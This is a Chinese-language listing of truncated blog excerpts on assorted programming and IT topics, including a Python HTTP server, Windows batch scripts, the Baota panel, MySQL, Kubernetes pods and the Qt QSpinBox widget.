文章目录 1.前言2.本地http服务器搭建2.1.Python的安装和设置2.2.Python服务器设置和测试 3.cpolar的安装和注册3.1 Cpolar云端设置3.2 Cpolar本地设置 4.公网访问测试5.结语 1.前言 Python作为热度比较高的编程语言&#xff0c;其语法简单且语句清晰&#xff0c;而且python有…

BAT031:按列表名单将路径a下的文件夹批量剪切到路径b

引言&#xff1a;编写批处理程序&#xff0c;实现按列表名单将路径a下的文件夹批量剪切到路径b。 一、新建Windows批处理文件 参考博客&#xff1a; CSDNhttps://mp.csdn.net/mp_blog/creation/editor/132137544 二、写入批处理代码 1.右键新建的批处理文件&#xff0c;点击…

负荷不均衡问题分析处理流程

一、负荷不均衡分析 负荷不均衡判断标准&#xff1a;4G同覆盖扇区内存在无线利用率大于50%的小区&#xff0c;且两两小区间无线利用率差值大于30%&#xff0c;判定为4G负荷不均衡扇区&#xff1b;5G同覆盖扇区内存在无线利用率大于50%的小区&#xff0c;且两两小区间无线利用率…

安装宝塔面板(详细教程)

一、简介 宝塔面板是一款简单好用的服务器运维面板。它支持一键LAMP/LNMP/集群/监控/网站/FTP/数据库/JAVA等100多项服务器管理功能。对于新手用云服务器来建站的话&#xff0c;宝塔面板是一个非常好用的工具。 宝塔官网&#xff1a;https://www.bt.cn/new/index.html 二、宝…

电脑开不了机用U盘重装系统Win10教程

如果我们遇到了电脑开不起机的问题&#xff0c;这给我们的正常使用带来了很大的影响。这时候我们可以借助U盘重装系统的方法&#xff0c;轻松应对这一问题。下面小编给大家详细介绍关于用U盘给开不机的电脑重装Win10系统的教程步骤&#xff0c;操作后用户就能正常使用电脑了。 …

【MySQL系列】- Select查询SQL执行过程详解

【MySQL系列】- Select查询SQL执行过程详解 文章目录 【MySQL系列】- Select查询SQL执行过程详解一、SQL查询语句的执行过程二、SQL执行过程详解2.1. 连接器2.2. 查询缓存2.3. 分析器2.4. 优化器2.5. 执行器 三、undo log 和 redo log作⽤3.1. redo log &#xff08;重做日志&a…

办鹿uniapp小程序(一)

一、项目初始化 1. appid 》 公司给你 wxc82730a0fc15e28a 2. 开发者身份 》 公司给你添加 小程序官网&#xff1a;小程序 管理》成员管理》项目成员 1、 uniapp ui组件 &#xff08;uView&#xff09; 如果采用npm安装方式在 小程序端不生效 1.1 采用插件的形式安装&#xf…

系统韧性研究(2)|系统韧性如何关联其他质量属性?

对大多数人来说&#xff0c;如果一个系统在逆境中继续执行它的任务&#xff0c;那么它会被认为具有韧性。换句话说&#xff0c;尽管过度的压力或多或少都会导致系统中断&#xff0c;但如果系统依然能够正常运行并提供所需的能力&#xff0c;则可认为该系统具备韧性。 系统韧性…

kubernetes(2)

pod管理 应用部署 上传测试镜像 [rootk8s1 docker]# docker push reg.westos.org/library/myapp:v1 [rootk8s1 docker]# docker push reg.westos.org/library/myapp:v2创建自助式pod&#xff08;生产不推荐&#xff09; [rootk8s2 ~]# kubectl run demo --imagemyapp:v1[ro…

nodejs+vue衣服穿搭推荐系统-计算机毕业设计

模块包括主界面&#xff0c;系统首页、个人中心、用户管理、风格标签管理、衣服分类管理、衣服穿搭管理、服装信息管理、我的搭配管理、用户反馈、系统管理等进行相应的操作。无论是日常生活&#xff0c;还是特定场景&#xff0c;诸如面试、约会等&#xff0c;人们都有展现自我…

基于Qt QSpinBox 微调框小案例

修改微调框数值的方式包括: 单击右侧的向上/向下按钮 按键盘的向上/向下键 在微调框获取焦点时,通过鼠标滚轮的上下滚动 当然了,也允许用户手动输入 其中: QSpinBox - 用于整数的显示和输入 QDoubleSpinBox - 用于浮点数的显示和输入 它们都是 QAbstractSpinBox 的子类,具…